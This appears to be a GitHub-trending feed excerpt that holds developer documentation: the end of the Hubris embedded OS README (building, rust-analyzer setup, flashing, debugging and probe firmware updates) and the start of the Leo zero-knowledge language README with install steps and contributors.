10 seconds or more, depending on what you've changed, when you're iterating on a task or kernel you'll probably want to build it separately. This is what <code>cargo xtask build</code> is for.</p> <p>For instance, to build <code>task-ping</code> as it would be built in one of the images, but without building the rest of the demo, run:</p> <pre><code class="language-console">$ cargo xtask build app/gimletlet/app.toml ping </code></pre> <h2>Running <code>clippy</code></h2> <p>The <code>cargo xtask clippy</code> subcommand can be used to run <code>clippy</code> against one or more tasks in the context of a particular image:</p> <pre><code class="language-console">$ cargo xtask clippy app/gimletlet/app.toml ping pong </code></pre> <h2>Integrating with <code>rust-analyzer</code></h2> <p>The Hubris build system will not work with <code>rust-analyzer</code> out of the box.</p> <p>However, <code>cargo xtask lsp</code> is here to help: it takes as its argument a Rust file, and returns JSON-encoded configuration for how to set up <code>rust-analyzer</code>.</p> <p>To use this data, some editor configuration is required!</p> <p>(we haven't made plugins yet, but it would certainly be possible)</p> <p>Using Neovim and <a href="https://github.com/simrat39/rust-tools.nvim"><code>rust-tools</code></a>, here's an example configuration:</p> <pre><code class="language-lua">-- monkeypatch rust-tools to correctly detect our custom rust-analyzer require'rust-tools.utils.utils'.is_ra_server = function (client) local name = client.name local target = "rust_analyzer" return string.sub(client.name, 1, string.len(target)) == target or client.name == "rust_analyzer-standalone" end -- Configure LSP through rust-tools.nvim plugin, with lots of bonus -- content for Hubris compatibility local cache = {} local clients = {} require'rust-tools'.setup{ tools = { -- rust-tools options autoSetHints = true, inlay_hints = { show_parameter_hints = false, parameter_hints_prefix = "", other_hints_prefix = "", -- do other configuration here as desired }, }, server = { on_new_config = function(new_config, new_root_dir) local bufnr = vim.api.nvim_get_current_buf() local bufname = vim.api.nvim_buf_get_name(bufnr) local dir = new_config.root_dir() if string.find(dir, "hubris") then -- Run `xtask lsp` for the target file, which gives us a JSON -- dictionary with bonus configuration. local prev_cwd = vim.fn.getcwd() vim.cmd("cd " .. dir) local cmd = dir .. "/target/debug/xtask lsp " -- Notify `xtask lsp` of existing clients in the CLI invocation, -- so it can check against them first (which would mean a faster -- attach) for _,v in pairs(clients) do local c = vim.fn.escape(vim.json.encode(v), '"') cmd = cmd .. '-c"' .. c .. '" ' end local handle = io.popen(cmd .. bufname) handle:flush() local result = handle:read("*a") handle:close() vim.cmd("cd " .. prev_cwd) -- If `xtask` doesn't know about `lsp`, then it will print an error to -- stderr and return nothing on stdout. if result == "" then vim.notify("recompile `xtask` for `lsp` support", vim.log.levels.WARN) end -- If the given file should be handled with special care, then -- we give the rust-analyzer client a custom name (to prevent -- multiple buffers from attaching to it), then cache the JSON in -- a local variable for use in `on_attach` local json = vim.json.decode(result) if json["Ok"] ~= nil then new_config.name = "rust_analyzer_" .. json.Ok.hash cache[bufnr] = json table.insert(clients, {toml = json.Ok.app, task = json.Ok.task}) else -- TODO: -- vim.notify(vim.inspect(json.Err), vim.log.levels.ERROR) end end end, on_attach = function(client, bufnr) local json = cache[bufnr] if json ~= nil then local config = vim.deepcopy(client.config) local ra = config.settings["rust-analyzer"] -- Do rust-analyzer builds in a separate folder to avoid blocking -- the main build with a file lock. table.insert(json.Ok.buildOverrideCommand, "--target-dir") table.insert(json.Ok.buildOverrideCommand, "target/rust-analyzer") ra.cargo = { extraEnv = json.Ok.extraEnv, features = json.Ok.features, noDefaultFeatures = true, target = json.Ok.target, buildScripts = { overrideCommand = json.Ok.buildOverrideCommand, }, } ra.check = { overrideCommand = json.Ok.buildOverrideCommand, } config.lspinfo = function() return { "Hubris app: " .. json.Ok.app, "Hubris task: " .. json.Ok.task } end client.config = config end end, settings = { ["rust-analyzer"] = { -- enable clippy on save checkOnSave = { command = "clippy", extraArgs = { '--target-dir', 'target/rust-analyzer' }, }, diagnostics = { disabled = {"inactive-code"}, }, } } }, } end </code></pre> <h3>What's going on here?</h3> <p>When a new LSP configuration is created (<code>on_new_config</code>), we run <code>cargo xtask lsp</code> on the target file. The JSON configuration includes a hash of the configuration; we use that hash to modify the name of the client from <code>rust_analyzer</code> to <code>rust_analyzer_$HASH</code>. This prevents Neovim from attempting to reuse an existing client, which are normally deduplicated by client name and workspace root directory; in Hubris, we want multiple clients coexisting with same workspace root, so they need different names. Then, we stash the rest of the configuration in a local variable (<code>cache</code>), and record the existence of this client in <code>clients</code>.</p> <p>When attaching to the LSP, we try to pull the configuration out of <code>cache</code>. If one exists, then we know we're dealing with a Hubris buffer; copy over relevant portions of the configuration.</p> <p>Note that this does not compile <code>xtask</code> for you; it assumes it already exists in <code>target/debug/xtask</code>. This should be true if you're using Hubris regularly, and saves significant amounts of time when opening a new file.</p> <h2>Adding a task</h2> <p>To create your own task, the easiest method is:</p> <ul> <li>Copy <code>task/template</code> to a new name.</li> <li>Edit its <code>Cargo.toml</code> with your name and a new package name.</li> <li>Add it to the list of workspace members in the root <code>Cargo.toml</code>.</li> <li>Add it to a system image by editing an <code>app.toml</code> file.</li> <li>Run <code>cargo xtask build</code> to compile it.</li> </ul> <p>A typical <code>app.toml</code> entry for a small task that uses no memory-mapped peripherals would read</p> <pre><code class="language-toml">[tasks.name_for_task_in_this_image] name = "my-task-target-name" priority = 1 requires = {flash = 1024, ram = 1024} start = true </code></pre> <h2>Graphing task relationships and priorities</h2> <p>A graph can be generated that show the relationships of the various tasks and their priorities. The resulting file is in <a href="https://graphviz.org/">Graphviz</a>'s <code>dot</code> format. <code>Dot</code> source <a href="https://docs.asciidoctor.org/diagram-extension/latest/">can be included</a> in <a href="https://asciidoctor.org">Asciidoctor</a> source or rendered to a variety of formats.</p> <p>To create and view an SVG graph for <code>gimletlet</code> on Ubuntu, ensure that the <code>graphviz</code> package is installed. Then generate the graph:</p> <pre><code class="language-console">$ cargo xtask graph -o gimletlet.dot app/gimletlet/app.toml $ dot -Tsvg gimletlet.dot &gt; gimletlet.svg $ xdg-open gimletlet.svg </code></pre> <h3>Generating all graphs under Linux</h3> <p>Bash commands to generate all graphs:</p> <pre><code class="language-console"> APPS=( $(find app -name '*.toml' ! -name Cargo.toml) ) for app in "${APPS[@]}" do out=$(basename ${app//\//_} .toml).dot svg=$(basename $out .dot).svg cargo xtask graph -o $out $app dot -Tsvg $out &gt; $svg done first="${APPS[0]}" out="$(basename ${first//\//_} .toml).dot" svg="$(basename $out .dot).svg" xdg-open "${svg}" </code></pre> <p>If <code>eog</code> is the default viewer, opening the first SVG in a directory will allow cycling through all of the available graphs using the same window.</p> <h1>Using Hubris</h1> <p>Hubris is tightly coupled to its debugger, <a href="https://github.com/oxidecomputer/humility">Humility</a>, which is used for the commands below either implicitly (in <code>cargo xtask flash</code>) or explicitly (in <code>cargo xtask humility</code>).</p> <p>If the <code>humility</code> binary is not available on your <code>$PATH</code>, the <code>HUBRIS_HUMILITY_PATH</code> environment variable may be used to provide the path to the binary.</p> <h2>Flash</h2> <p>An image within a Hubris archive can be flashed directly onto a target board by running <code>cargo xtask flash</code> and specifying the appropriate TOML file. This will run <code>cargo xtask dist</code> and then pass the resulting build archive to <code>humility flash</code>. <code>humility</code> will invoke either OpenOCD or pyOCD to flash the image; the exact invocation depends on the board and is encoded in the build archive.</p> <ul> <li>LPCXpresso55S69: <code>cargo xtask flash app/lpc55xpresso/app.toml</code></li> <li>STM32F4 Discovery board: <code>cargo xtask flash app/demo-stm32f4-discovery/app.toml</code></li> <li>ST Nucleo-H743ZI2 board: <code>cargo xtask flash app/demo-stm32h7-nucleo/app-h743.toml</code></li> <li>ST Nucleo-H753ZI board: <code>cargo xtask flash app/demo-stm32h7-nucleo/app-h753.toml</code></li> <li>Gemini bringup board: <code>cargo xtask flash app/gemini-bu/app.toml</code></li> </ul> <h2>Running Humility</h2> <p>Humility is run <em>in situ</em> by specifying an archive on a directly connected board, or postmortem by specifying a dump. As a convenience for development, Humility can also be run <em>in situ</em> by specifying the appropriate TOML, e.g. on a machine with an STM32F4 Discovery board directly attached:</p> <pre><code class="language-console">$ cargo xtask humility app/demo-stm32f4-discovery/app.toml -- tasks Finished dev [optimized + debuginfo] target(s) in 0.17s Running `target/debug/xtask humility demo/app.toml -- tasks` humility: attached via ST-Link ID ADDR TASK GEN STATE 0 20000108 jefe 0 Healthy(InRecv(None)) 1 20000178 rcc_driver 0 Healthy(InRecv(None)) 2 200001e8 usart_driver 0 Healthy(InRecv(None)) 3 20000258 user_leds 0 Healthy(Runnable) &lt;- 4 200002c8 ping 48 Healthy(Runnable) 5 20000338 pong 0 Healthy(InRecv(None)) 6 200003a8 idle 0 Healthy(Runnable) </code></pre> <h3>Debugging with GDB</h3> <p><code>humility</code> includes a <code>gdb</code> subcommand which attaches to a running system using <code>arm-none-eabi-gdb</code>, optionally running its own <code>openocd</code> instance based on configuration data in the build archive.</p> <p>For convenience, there's also a <code>cargo xtask gdb</code> façade which calls <code>humility</code> with the appropriate build archive:</p> <pre><code class="language-console">$ cargo xtask gdb app/demo-stm32f4-discovery/app.toml -- --run-openocd # ... lots of output elided ... task_idle::main () at task/idle/src/main.rs:14 14 loop { Breakpoint 1 at 0x800434c: file /crates.io/cortex-m-rt-0.6.15/src/lib.rs, line 560. Note: automatically using hardware breakpoints for read-only addresses. semihosting is enabled semihosting is enabled (gdb) </code></pre> <p>Note that <code>cargo xtask gdb</code> will (by default) also run <code>dist</code> and <code>flash</code>, to ensure that the image on the chip is up to date. The <code>-n</code>/<code>--noflash</code> option skips these steps.</p> <h1>Testing Hubris</h1> <p>The Hubris kernel is tested with a dedicated <em>test image</em> that includes a test runner, assistant and test suite. The test image emits its results via ITM. While these results can be interpreted manually, <code>humility test</code> automates this. <code>humility test</code> itself is most easily run via <code>cargo xtask test</code>, which runs the equivalent of <code>cargo xtask dist</code>, <code>cargo xtask flash</code> and <code>cargo xtask humility test</code>. The exact invocation depends on the board:</p> <ul> <li>LPCXpresso55S69: <code>cargo xtask test test/tests-lpc55xpresso/app.toml</code></li> <li>STM32F3 Discovery board: <code>cargo xtask test test/tests-stm32fx/app-f3.toml</code><br> <strong>Note: for this board, SB10 must be soldered closed for ITM to work</strong></li> <li>STM32F4 Discovery board: <code>cargo xtask test test/tests-stm32fx/app.toml</code></li> <li>ST Nucleo-H743ZI2 board: <code>cargo xtask test test/tests-stm32h7/app-h743.toml</code></li> <li>ST Nucleo-H753ZI board: <code>cargo xtask test test/tests-stm32h7/app-h753.toml</code></li> </ul> <p>Note: <code>cargo xtask humility test</code> runs OpenOCD to connect to the device. You must exit any other instances of OpenOCD that you have connected to the device before running tests.</p> <p>See the <a href="https://github.com/oxidecomputer/humility#humility-test">documentation for <code>humility test</code></a> for details on test results.</p> <h2>Debugging tests</h2> <p>Output from tests is captured by <code>humility test</code>; <code>sys_log!()</code> calls to tests can be added and then captured in a <code>humility test</code> dump. To capture a dump from tests that are otherwise passing, use <code>cargo xtask humility</code> directly and pass the <code>-d</code> flag, e.g.:</p> <pre><code class="language-console">$ cargo xtask humility test/tests-stm32fx/app.toml -- test -d ... humility: attached via ST-Link humility: TPIU sync packet found at offset 1 humility: ITM synchronization packet found at offset 12 humility: expecting 22 cases humility: running test_send ... ok ... humility: running test_timer_notify ... ok humility: running test_timer_notify_past ... ok humility: tests completed: pass humility: test output dumped to hubris.testout.2 </code></pre> <p>if one needs to both run GDB and the test suite, use <code>cargo xtask gdb</code> with the test image's TOML and the appropriate GDB file, and then place breakpoints at the test of interest.</p> <h1>Special cases</h1> <h2>Gemini bringup board</h2> <p>See the Gemini Bringup <a href="https://github.com/oxidecomputer/gemini-bringup/tree/master/gemini-bringup">Getting Started</a> docs (internal Oxide repo)</p> <h2>STM32F3 Discovery boards</h2> <p><strong>For the STM32F3 Discovery board, SB10 must be soldered closed for ITM to work!</strong> This solder bridge defaults to being open, which leaves SWO disconnected. See the STM32F3 Discovery User Manual (UM1570) for schematic and details.</p> <h2>LPCXpresso55S69 board</h2> <p>To use the LPCXpresso55S69, you will need <a href="https://github.com/mbedmicro/pyOCD">pyOCD</a>, version 0.27.0 or later.</p> <p>The LPCXpresso55S69 is somewhat of a mess because the built-on on-chip debugger, LPC-Link2, <a href="https://community.nxp.com/t5/LPC-Microcontrollers/SWO-SWV-on-LPC-Link2-with-CMSIS-DAP/m-p/1079442">does not correctly support SWO/SWV</a></p> <p>If you have the stock LPC-Link2, it will report itself this way via <code>pyocd list</code>:</p> <pre><code class="language-console">$ pyocd list # Probe Unique ID ----------------------------------------------------------------- 0 NXP Semiconductors LPC-LINK2 CMSIS-DAP V5.361 JSAQCQIQ </code></pre> <p>It's also possible that you have the Segger J-Link firmware -- firmware that will make its odious presence known by prompting for you to accept license terms whenever running <code>pyocd list</code>!</p> <pre><code class="language-console">$ pyocd list # Probe Unique ID ----------------------------------------------------------------------------- 0 Segger J-Link LPCXpresso V2 compiled Apr 4 2019 16:54:03 726424936 </code></pre> <p>In either of these cases you must -- as a one-time step -- install new firmware on the LPC-Link2. The new firmware is a build of the (open source) <a href="https://github.com/oxidecomputer/DAPLink">DAPLink</a>, which we affectionally call <strong>RickLink</strong> after the engineer who managed to get it all built -- no small feat!</p> <p>There are two files that you will need, both contained in the Hubris repository:</p> <ul> <li><a href="https://raw.githubusercontent.com/oxidecomputer/hubris/master/support/lpc4322_bl_crc.bin">lpc4322_bl_crc.bin</a></li> <li><a href="https://raw.githubusercontent.com/oxidecomputer/hubris/master/support/lpc4322_lpc55s69xpresso_if_rla_swo_hacks.bin">lpc4322_lpc55s69xpresso_if_rla_swo_hacks.bin</a></li> </ul> <p>You will additionally need the <a href="https://www.nxp.com/design/microcontrollers-developer-resources/lpc-microcontroller-utilities/lpcscrypt-v2-1-1:LPCSCRYPT">LPCScrypt program</a> from NXP.</p> <p>Here are the steps to install RickLink:</p> <ol> <li> <p>Install the DFU jumper. This can be found next to the SWD header on the left side of the board; it is labelled "DFU".</p> </li> <li> <p>Run <code>scripts/boot_lpcscrypt</code> from the installed LPCScrypt software:</p> </li> </ol> <pre><code class="language-console">$ /usr/local/lpcscrypt/scripts/boot_lpcscrypt Looking for DFU devices with VID 1fc9 PID 000c ... dfu-util -d 1fc9:000c -c 1 -i 0 -t 2048 -R -D /usr/local/lpcscrypt/scripts/../bin/LPCScrypt_228.bin.hdr Booted LPCScrypt target (1fc9:000c) with /usr/local/lpcscrypt/scripts/../bin/LPCScrypt_228.bin.hdr $ </code></pre> <ol start="3"> <li>Run <code>lpcscrypt clockslow</code>:</li> </ol> <pre><code class="language-console">$ /usr/local/lpcscrypt/bin/lpcscrypt clockslow $ </code></pre> <ol start="4"> <li>Run <code>lpcscrypt program +w1 0x0 BankA</code> to overwrite existing firmware</li> </ol> <pre><code class="language-console">$ /usr/local/lpcscrypt/bin/lpcscrypt program +w1 0x0 BankA ................ Programmed 524288 bytes to 0x1a000000 in 2.610s (196.165KB/sec) $ </code></pre> <ol start="5"> <li>Run <code>lpcscrypt program +c &lt;path-to-lpc4322_bl_crc.bin&gt; BankA</code>:</li> </ol> <pre><code class="language-console">$ /usr/local/lpcscrypt/bin/lpcscrypt program +c ~/hubris/support/lpc4322_bl_crc.bin BankA .. Programmed 57344 bytes to 0x1a000000 in 0.827s (67.717KB/sec) $ </code></pre> <ol start="6"> <li> <p>Assuming it is successful, remove the DFU jumper and disconnect/reconnect USB</p> </li> <li> <p>There should now be a USB mass storage device named <code>MAINTENANCE</code></p> </li> </ol> <pre><code class="language-console"># fdisk -l Disk /dev/nvme0n1: 477 GiB, 512110190592 bytes, 1000215216 sectors Disk model: Micron 2200S NVMe 512GB Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: A8653F99-39AB-4F67-A9C9-524A2864856E Device Start End Sectors Size Type /dev/nvme0n1p1 2048 1050623 1048576 512M EFI System /dev/nvme0n1p2 1050624 967393279 966342656 460.8G Linux filesystem /dev/nvme0n1p3 967393280 1000214527 32821248 15.7G Linux swap Disk /dev/sda: 64.1 MiB, 67174400 bytes, 131200 sectors Disk model: VFS Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x00000000 # mount /dev/sda /mnt # ls /mnt DETAILS.TXT PRODINFO.HTM # cat /mnt/DETAILS.TXT # DAPLink Firmware - see https://mbed.com/daplink Unique ID: 02360b000d96e4fc00000000000000000000000097969905 HIC ID: 97969905 Auto Reset: 1 Automation allowed: 1 Overflow detection: 1 Daplink Mode: Interface Interface Version: 0254 Bootloader Version: 0254 Git SHA: f499eb6ec4a847a2b78831fe1acc856fd8eb2f28 Local Mods: 1 USB Interfaces: MSD, CDC, HID, WebUSB Bootloader CRC: 0x09974fb3 Interface CRC: 0x7174ab4c Remount count: 0 URL: https://os.mbed.com/platforms/LPCXpresso55S69/ </code></pre> <ol start="8"> <li>Copy <code>lpc4322_lpc55s69xpresso_if_rla_swo_hacks.bin</code> to the USB drive</li> </ol> <pre><code class="language-console">$ sudo cp ~/hubris/support/lpc4322_lpc55s69xpresso_if_rla_swo_hacks.bin /mnt $ </code></pre> <ol start="9"> <li>Unmount (or otherwise sync) the USB drive:</li> </ol> <pre><code class="language-console"># umount /mnt # </code></pre> <ol start="10"> <li>Unplug and replug the USB cable.</li> </ol> <p>Verify that you are on the new firmware by running <code>pyocd list</code>:</p> <pre><code class="language-console">$ pyocd list # Probe Unique ID ------------------------------------------------------------------------------------- 0 LPCXpresso55S69 [lpc55s69] 02360b000d96e4fc00000000000000000000000097969905 </code></pre> <h2>LPC55S28 on Gemini carrier board</h2> <p>Note that the RickLink running on the LPCXpresso55S69 can <em>also</em> be used as the debugger for the LPC55S28 on the Gemini carrier board. To do this, first, follow all of the instructions above to get RickLink onto your LPCXpresso55S69. Then:</p> <ol> <li> <p>Using a soldering iron, solder a two-pin header on J5. J5 can be be found to the left of P1 and below the "Debugger" jumper (J3).</p> </li> <li> <p>Put a jumper on the new header</p> </li> <li> <p>Move the "Debugger" jumper (J3) to "Ext".</p> </li> <li> <p>Use a SWD cable (10-pin 2x5 1.27mm pitch cable) to connect the SWD on the LPCXpresso55S69 to the SWD underneath the carrier board on Gemini (J202)</p> </li> </ol> <p>(To allow your RickLink to once again debug its local LPC55S69, remove the jumper on J5 and move J3 to "Loc".)</p> <h2>Multiple boards simultaneously</h2> <p>If multiple probes are attached, tools may struggle to find the right one at the right time. In particular, OpenOCD will pick the first one that it finds; to force OpenOCD to pick a <em>particular</em> probe, you can ascertain the serial number of the probe (e.g., from <code>humility probe</code>) and then specify that serial number in the corresponding <code>openocd.cfg</code> by adding, e.g.:</p> <pre><code>interface hla hla_serial 271828182845904523536028 </code></pre> <p>(Where <code>271828182845904523536028</code> is the serial number of the probe.)</p> <h2>Updating ST-Link Firmware if necessary</h2> <p>It is common that debugging dongles, and development boards with embedded debug hardware like the Nucleo series, are delivered with older firmware.</p> <p>You will not be able to use Humilty with outdated ST-Link firmware. Humility will tell you this is the case, for example when attempting to use <code>humility test</code>:</p> <pre><code>... Warn : Adding extra erase range, 0x08020060 .. 0x0803ffff ** Programming Finished ** ** Verify Started ** ** Verified OK ** ** Resetting Target ** humility: test failed: The firmware on the probe is outdated Error: test failed </code></pre> <p>Follow this "<a href="https://www.st.com/en/development-tools/stsw-link007.html">ST-LINK firmware upgrade</a>" link to find software and instructions necessary to install current firmware.</p> + AleoHQ/leo + 2023-10-30T01:35:18Z + tag:github.com,2023-10-30:/AleoHQ/leo + + <p>🦁 The Leo Programming Language. A Programming Language for Formally Verified, Zero-Knowledge Applications</p><hr><p align="center"> <img width="1412" src="https://cdn.aleo.org/leo/banner.png"> </p> <h1 align="center">The Leo Programming Language</h1> <p align="center"> <a href="https://circleci.com/gh/AleoHQ/leo"><img src="https://circleci.com/gh/AleoHQ/leo.svg?style=svg&amp;circle-token=00960191919c40be0774e00ce8f7fa1fcaa20c00"></a> <a href="https://codecov.io/gh/AleoHQ/leo"><img src="https://codecov.io/gh/AleoHQ/leo/branch/testnet3/graph/badge.svg?token=S6MWO60SYL"></a> <a href="https://discord.gg/5v2ynrw2ds"><img src="https://img.shields.io/discord/700454073459015690?logo=discord"></a> <a href="https://GitHub.com/AleoHQ/leo"><img src="https://img.shields.io/badge/contributors-29-ee8449"></a> </p> <div id="top"></div> Leo is a functional, statically-typed programming language built for writing private applications. <h2><a name="TableofContents"></a>Table of Contents</h2> <ul> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-overview">🍎 Overview</a></li> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-build-guide">⚙️️ Build Guide</a> <ul> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-install-rust">🦀 Install Rust</a></li> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-build-from-source-code">🐙 Build from Source Code</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-quick-start">🚀 Quick Start</a></li> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-troubleshooting">🧰 Troubleshooting</a></li> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-documentation">📖 Documentation</a></li> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-contributing">🤝 Contributing</a></li> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-contributors">❤️ Contributors</a></li> <li><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#-license">🛡️ License</a></li> </ul> <h2>🍎 Overview</h2> <p>Welcome to the Leo programming language.</p> <p>Leo provides a high-level language that abstracts low-level cryptographic concepts and makes it easy to integrate private applications into your stack. Leo compiles to circuits making zero-knowledge proofs practical.</p> <p>The syntax of Leo is influenced by traditional programming languages like JavaScript, Scala, and Rust, with a strong emphasis on readability and ease-of-use. Leo offers developers with tools to sanity check circuits including unit tests, integration tests, and console functions.</p> <p>Leo is one part of a greater ecosystem for building private applications on <a href="https://aleo.org/">Aleo</a>. The language is currently in an alpha stage and is subject to breaking changes.</p> <h2>⚙️️ Build Guide</h2> <h3>🦀 Install Rust</h3> <p>We recommend installing Rust using <a href="https://www.rustup.rs/">rustup</a>. You can install <code>rustup</code> as follows:</p> <ul> <li> <p>macOS or Linux:</p> <pre><code class="language-bash">curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh </code></pre> </li> <li> <p>Windows (64-bit):</p> <p>Download the <a href="https://win.rustup.rs/x86_64">Windows 64-bit executable</a> and follow the on-screen instructions.</p> </li> <li> <p>Windows (32-bit):</p> <p>Download the <a href="https://win.rustup.rs/i686">Windows 32-bit executable</a> and follow the on-screen instructions.</p> </li> </ul> <h3>🐙 Build from Source Code</h3> <p>We recommend installing Leo by building from the source code as follows:</p> <pre><code class="language-bash"># Download the source code git clone https://github.com/AleoHQ/leo cd leo # Install 'leo' $ cargo install --path . </code></pre> <p>Now to use leo, in your terminal, run:</p> <pre><code class="language-bash">leo </code></pre> <h2>🚀 Quick Start</h2> <p>Use the Leo CLI to create a new project</p> <pre><code class="language-bash"># create a new `hello-world` Leo project leo new helloworld cd helloworld # build &amp; setup &amp; prove &amp; verify leo run </code></pre> <p>The <code>leo new</code> command creates a new Leo project with a given name.</p> <p>The <code>leo run</code> command will compile the program into Aleo instructions and run it.</p> <p>Congratulations! You've just run your first Leo program.</p> <h2>🧰 Troubleshooting</h2> <p>If you are having trouble installing and using Leo, please check out our <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/docs/troubleshooting.md">guide</a>.</p> <p>If the issue still persists, please <a href="https://github.com/AleoHQ/leo/issues/new/choose">open an issue</a>.</p> <h2>📖 Documentation</h2> <ul> <li><a href="https://developer.aleo.org/leo/hello">Hello World - Next Steps</a></li> <li><a href="https://developer.aleo.org/leo/language">Leo Language Documentation</a></li> <li><a href="https://github.com/AleoHQ/grammars/raw/master/leo.abnf">Leo ABNF Grammar</a></li> <li><a href="https://developer.aleo.org/overview/">Homepage</a></li> </ul> <h2>🤝 Contributing</h2> <p>Please see our guidelines in the <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/CONTRIBUTING.md">developer documentation</a></p> <h2>❤️ Contributors</h2> <p>Thank you for helping make Leo better!<br> <a href="https://allcontributors.org/docs/en/emoji-key">What do the emojis mean?🧐</a></p> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/d0cd"><img src="https://avatars.githubusercontent.com/u/23022326?v=4?s=100" width="100px;" alt="d0cd"><br><sub><b>d0cd</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=d0cd" title="Code">💻</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#maintenance-d0cd" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#question-d0cd" title="Answering Questions">💬</a> <a href="https://github.com/AleoHQ/leo/pulls?q=is%3Apr+reviewed-by%3Ad0cd" title="Reviewed Pull Requests">👀</a></td> <td align="center" valign="top" width="14.28%"><a href="http://leo-lang.org"><img src="https://avatars.githubusercontent.com/u/16715212?v=4?s=100" width="100px;" alt="Collin Chin"><br><sub><b>Collin Chin</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=collinc97" title="Code">💻</a> <a href="https://github.com/AleoHQ/leo/commits?author=collinc97" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#maintenance-collinc97" title="Maintenance">🚧</a> <a href="https://github.com/AleoHQ/leo/pulls?q=is%3Apr+reviewed-by%3Acollinc97" title="Reviewed Pull Requests">👀</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/howardwu"><img src="https://avatars.githubusercontent.com/u/9260812?v=4?s=100" width="100px;" alt="Howard Wu"><br><sub><b>Howard Wu</b></sub></a><br><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#ideas-howardwu" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#maintenance-howardwu" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#research-howardwu" title="Research">🔬</a> <a href="https://github.com/AleoHQ/leo/pulls?q=is%3Apr+reviewed-by%3Ahowardwu" title="Reviewed Pull Requests">👀</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.kestrel.edu/~coglio"><img src="https://avatars.githubusercontent.com/u/2409151?v=4?s=100" width="100px;" alt="Alessandro Coglio"><br><sub><b>Alessandro Coglio</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=acoglio" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#maintenance-acoglio" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#question-acoglio" title="Answering Questions">💬</a> <a href="https://github.com/AleoHQ/leo/pulls?q=is%3Apr+reviewed-by%3Aacoglio" title="Reviewed Pull Requests">👀</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.kestrel.edu/home/people/mccarthy/"><img src="https://avatars.githubusercontent.com/u/7607035?v=4?s=100" width="100px;" alt="Eric McCarthy"><br><sub><b>Eric McCarthy</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=bendyarm" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#maintenance-bendyarm" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#question-bendyarm" title="Answering Questions">💬</a> <a href="https://github.com/AleoHQ/leo/pulls?q=is%3Apr+reviewed-by%3Abendyarm" title="Reviewed Pull Requests">👀</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/raychu86"><img src="https://avatars.githubusercontent.com/u/14917648?v=4?s=100" width="100px;" alt="Raymond Chu"><br><sub><b>Raymond Chu</b></sub></a><br><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#ideas-raychu86" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/AleoHQ/leo/commits?author=raychu86" title="Code">💻</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#research-raychu86" title="Research">🔬</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ljedrz"><img src="https://avatars.githubusercontent.com/u/3750347?v=4?s=100" width="100px;" alt="ljedrz"><br><sub><b>ljedrz</b></sub></a><br><a href="https://github.com/AleoHQ/leo/issues?q=author%3Aljedrz" title="Bug reports">🐛</a> <a href="https://github.com/AleoHQ/leo/commits?author=ljedrz" title="Code">💻</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#question-ljedrz" title="Answering Questions">💬</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aharshbe"><img src="https://avatars.githubusercontent.com/u/17191728?v=4?s=100" width="100px;" alt="aharshbe"><br><sub><b>aharshbe</b></sub></a><br><a href="https://github.com/aharshbe/test_leo_app" title="Tutorials">✅</a><a href="https://github.com/AleoHQ/leo/issues?q=author%3Aaharshbe" title="Bug reports">🐛</a> <a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#question-aharshbe" title="Answering Questions">💬</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Centril"><img src="https://avatars.githubusercontent.com/u/855702?v=4?s=100" width="100px;" alt="Mazdak Farrokhzad"><br><sub><b>Mazdak Farrokhzad</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=Centril" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://move-book.com"><img src="https://avatars.githubusercontent.com/u/8008055?v=4?s=100" width="100px;" alt="Damir 